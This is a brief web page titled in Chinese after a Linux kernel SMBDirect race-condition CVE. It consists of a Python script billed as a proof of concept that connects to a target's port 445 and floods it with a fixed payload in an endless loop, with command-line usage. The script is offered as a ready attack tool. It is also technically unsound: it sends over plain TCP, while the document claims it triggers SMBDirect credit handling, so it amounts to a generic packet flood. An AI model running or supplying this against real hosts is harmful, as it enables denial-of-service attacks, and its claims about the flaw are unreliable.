CVE-2026-31539 Linux内核SMBDirect竞态漏洞

import socket import sys # Conceptual Proof of Concept for CVE-2026-31539 # This script attempts to stress the SMBDirect credit mechanism. # Note: This requires a vulnerable environment and specific network conditions. def exploit_smbdirect_race(target_ip, target_port=445): try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Establishing TCP connection to SMB port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[+] Connection established.") print("[*] Flooding packets to trigger the race condition in recv_io credits...") # Sending data rapidly to stress the recv buffer and credit logic payload = b"\x00\x00\x00\x00" + b"A" * 100 while True: try: s.send(payload) except socket.error: break except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() print("[*] Exploit attempt finished.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_31539.py <TARGET_IP>") else: exploit_smbdirect_race(sys.argv[1])